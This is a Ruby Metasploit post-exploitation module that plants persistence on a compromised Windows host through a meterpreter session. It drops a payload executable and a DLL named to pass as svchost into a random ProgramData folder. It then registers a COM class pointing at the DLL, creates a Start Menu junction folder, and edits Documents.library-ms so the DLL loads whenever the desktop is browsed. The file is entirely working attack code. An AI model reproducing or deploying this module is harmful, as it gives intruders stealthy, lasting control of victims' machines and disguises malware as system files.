##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  include Msf::Post::Windows::Priv
  include Msf::Post::Common
  include Msf::Post::File
  include Msf::Post::Windows::Priv
  include Msf::Exploit::EXE

  DEFAULT_VAL_NAME = '' # This maps to "(Default)"
  def initialize(info = {})
    super(update_info(info,
                      'Name'          => 'Windows libray files and Junction Folders for persistence',
                      'Description'   => %q{
                          Persistence:
                      windows will load dll when access to desktop if dll in Documents.library-ms
                          .},
                      'License'       => MSF_LICENSE,
                      'Author'        => ['Praetorian'],
                      'References'    => [['URL', 'https://blog.f-secure.com/abusing-windows-library-files-for-persistence/']],
                      'Platform'      => ['win'],
                      'Targets'       => [['Windows', {}]],
                      'SessionTypes'  => ['meterpreter'],
                      'DefaultTarget' => 0,
          ))
    register_options(
            [
            ])
  end


  def exploit

    unless session.type == "meterpreter"
      pub_json_result(false,
                      'Unsupport shell type',
                      nil,
                      self.uuid)
      return
    end


    if datastore['PAYLOAD'].include?(ARCH_X64)
      data_dll_file = "MDSDLL_x64.dll"
    else
      data_dll_file = "MDSDLL_x86.dll"
    end

    vprint_status("Running module against #{sysinfo['Computer']}")

    @storedir = create_store_rand_dir()
    if @storedir == nil
      pub_json_result(false,
                      'Create rand dir failed',
                      nil,
                      self.uuid)
      return
    end

    @dll_file       = "svchost.dll"
    @exe_file       = "svchost.exe"


    exe      = generate_payload_exe
    exe_path = @storedir + "\\" + @exe_file
    write_file_to_target(exe_path, exe)


    @victim_path = @storedir + "\\" + @dll_file
    bin          = File.read(File.join(Msf::Config.data_directory, 'exploits', 'persistence_dll', data_dll_file))
    write_file_to_target(@victim_path, bin)

    unless session.fs.file.exist? exe_path and session.fs.file.exist? @victim_path
      pub_json_result(false,
                      'write loader to storedir failed,maybe permission or AV',
                      nil,
                      self.uuid)
      return
    end

    reg_inprocserver32_key = "HKCU\\Software\\Classes\\CLSID\\{230E5143-B8A1-43A6-9D3F-56EF3D1FC988}\\InProcServer32"

    unless registry_key_exist? reg_inprocserver32_key
      unless registry_createkey(reg_inprocserver32_key)
        pub_json_result(false,
                        'crete registry failed',
                        nil,
                        self.uuid)
        return
      end
    end

    if registry_setvaldata(reg_inprocserver32_key, "ThreadingModel", "Apartment", "REG_SZ")
      vprint_good("Success!")
    else
      pub_json_result(false,
                      'crete registry failed',
                      nil,
                      self.uuid)
      return
    end
    if registry_setvaldata(reg_inprocserver32_key, DEFAULT_VAL_NAME, @victim_path, "REG_SZ")
      vprint_good("Success!")
    else
      pub_json_result(false,
                      'crete registry failed',
                      nil,
                      self.uuid)
      return
    end


    reg_shellfolder_key = "HKCU\\Software\\Classes\\CLSID\\{230E5143-B8A1-43A6-9D3F-56EF3D1FC988}\\ShellFolder"
    unless registry_key_exist? reg_shellfolder_key
      unless registry_createkey(reg_shellfolder_key)
        pub_json_result(false,
                        'crete registry failed',
                        nil,
                        self.uuid)
        return
      end
    end
    if registry_setvaldata(reg_shellfolder_key, "Attributes", 0xf090013d, "REG_DWORD")
      vprint_good("Success!")
    else
      pub_json_result(false,
                      'crete registry failed',
                      nil,
                      self.uuid)
      return
    end


    newguiddir = session.sys.config.getenv('APPDATA').strip() + "\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Help.{230E5143-B8A1-43A6-9D3F-56EF3D1FC988}"

    begin
      session.fs.dir.mkdir(newguiddir)
    rescue Rex::Post::Meterpreter::RequestError => e
      vprint_error "Received error code #{e.code} when create #{newguiddir}"
    end

    fulldirname = session.sys.config.getenv('APPDATA').strip() + "\\Microsoft\\Windows\\Libraries\\Documents.library-ms"
    if session.fs.file.exist? fulldirname
      begin
        connections = session.fs.file.new(fulldirname, 'rb')
        condata     = ''
        until connections.eof
          condata << connections.read
        end
        key_string = "<searchConnectorDescription publisher=\"Microsoft\" product=\"Windows\">\r\n<description>@shell32.dll,-34577</description>\r\n<isDefaultNonOwnerSaveLocation>true</isDefaultNonOwnerSaveLocation>\r\n<simpleLocation>\r\n<url>shell:::{230E5143-B8A1-43A6-9D3F-56EF3D1FC988}</url>\r\n</simpleLocation>\r\n</searchConnectorDescription>"
        key_index  = condata.index(key_string)
        if key_index != nil
          vprint_good("Already change : #{fulldirname}")
          pub_json_result(true,
                          nil,
                          @victim_path,
                          self.uuid)
          return
        end
        index = condata.rindex("</searchConnectorDescriptionList>")
        if index == nil
          pub_json_result(false,
                          'searchConnectorDescriptionList not found in library-ms',
                          nil,
                          self.uuid)
          return
        end
        condata.insert(index, key_string)
        fd = session.fs.file.new(fulldirname, "wb")
        fd.write(condata)
        fd.close
        vprint_good("Insert success : #{fulldirname}")
        pub_json_result(true,
                        nil,
                        @victim_path,
                        self.uuid)
        return
      rescue Rex::Post::Meterpreter::RequestError => e
        vprint_error "Received error code #{e.code} when reading #{fulldirname}"
        pub_json_result(false,
                        'open library-ms failed',
                        nil,
                        self.uuid)
        return
      end
    else
      pub_json_result(false,
                      'library-ms not exist',
                      nil,
                      self.uuid)
      return
    end
  end


  def create_store_rand_dir()
    dirname     = Rex::Text.rand_text_alpha(6)
    fulldirname = session.sys.config.getenv('ProgramData') + "\\" + "Microsoft_#{dirname}"
    session.fs.dir.mkdir(fulldirname)
    if session.fs.file.exist? fulldirname
      vprint_good("create storedir : #{fulldirname}")
      return fulldirname
    else
      vprint_error("create storedir failed : #{fulldirname}")
      return nil
    end
  end

  def write_file_to_target(filepath, filedata)
    fd = session.fs.file.new(filepath, "wb")
    fd.write(filedata)
    fd.close
  end
end
